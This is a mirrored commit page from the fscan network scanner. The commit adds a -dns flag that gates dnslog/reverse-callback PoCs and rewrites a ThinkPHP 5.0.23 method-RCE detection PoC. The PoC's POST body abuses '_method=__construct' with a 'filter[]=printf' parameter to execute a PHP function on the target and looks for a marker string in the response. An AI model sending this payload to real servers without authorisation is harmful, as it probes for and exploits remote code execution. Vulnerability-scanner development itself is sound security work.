mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
增加-dns参数启用dnslog poc
This commit is contained in:
@@ -82,7 +82,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
||||
for _, item := range p.Set {
|
||||
k, expression := item.Key, item.Value
|
||||
if expression == "newReverse()" {
|
||||
return false, nil, ""
|
||||
if !common.DnsLog {
|
||||
return false, nil, ""
|
||||
}
|
||||
variableMap[k] = newReverse()
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
name: poc-yaml-thinkphp5023-method-rce
|
||||
set:
|
||||
rand: randomLowercase(10)
|
||||
groups:
|
||||
poc1:
|
||||
- method: POST
|
||||
@@ -8,9 +6,9 @@ groups:
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: |
|
||||
_method=__construct&filter[]=var_dump&method=GET&get[]={{rand}}
|
||||
_method=__construct&filter[]=printf&method=GET&get[]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu
|
||||
expression: |
|
||||
response.body.bcontains(bytes(rand))
|
||||
response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu")
|
||||
poc2:
|
||||
- method: POST
|
||||
path: /index.php?s=captcha
|
||||
|
||||
Reference in New Issue
Block a user